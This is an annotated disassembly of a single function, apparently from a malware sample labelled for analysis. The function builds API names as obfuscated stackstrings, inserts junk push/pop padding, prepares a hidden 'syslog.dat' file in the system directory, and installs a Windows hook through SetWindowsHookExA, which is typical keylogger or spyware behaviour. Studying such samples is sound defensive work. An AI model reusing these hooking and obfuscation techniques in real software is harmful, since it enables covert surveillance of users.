Function at 0x1000c440
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov al, 0x65
push ebx
mov byte [ebp - 0x13], al
mov byte [ebp - 0x10], al
mov al, 0x6c
push esi
push edi
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], al
mov byte [ebp - 9], al
mov byte [ebp - 8], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov cl, 0x65
mov al, 0x74
mov dl, 0x79
mov bl, 0x72
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], 0x53
mov byte [ebp - 0x24], dl
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x20], 0x6d
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x16], 0x41
mov byte [ebp - 0x15], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
call fcn.1000c190
test al, al
jne 0x1000c546
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [0x1002336c]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov byte [0x10023368], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x1002336c]
mov dword [0x10023364], eax
xor eax, eax
mov dword [edx + 8], eax
mov ecx, dword [0x1002336c]
mov dword [ecx + 4], eax
mov edx, dword [0x1002336c]
mov ecx, 0x20
mov dword [edx], eax
mov edx, dword [0x1002336c]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [0x1002336c]
push 0x104
add eax, 0xd
push eax
call dword [ebp - 4]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, dword [0x1002336c]
mov edi, str._syslog.dat
xor eax, eax
lea edx, [ecx + 0xd]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov eax, dword [0x1002337c]
add esp, 4
push str.SetWindowsHookExA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [0x1002336c]
add esp, 4
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000c6cd
mov edx, dword [0x1002336c]
mov byte [edx + 0xc], 1
jmp 0x1000c6d6
mov eax, dword [0x1002336c]
mov byte [eax + 0xc], 0
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, dword [0x1002336c]
mov eax, dword [ecx + 4]
test eax, eax
jne 0x1000c71b
mov edx, dword [0x10023374]
push 0
push edx
push 0x1000bb20
push 3
call dword [ebp - 4]
mov ecx, dword [0x1002336c]
mov dword [ecx + 4], eax
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret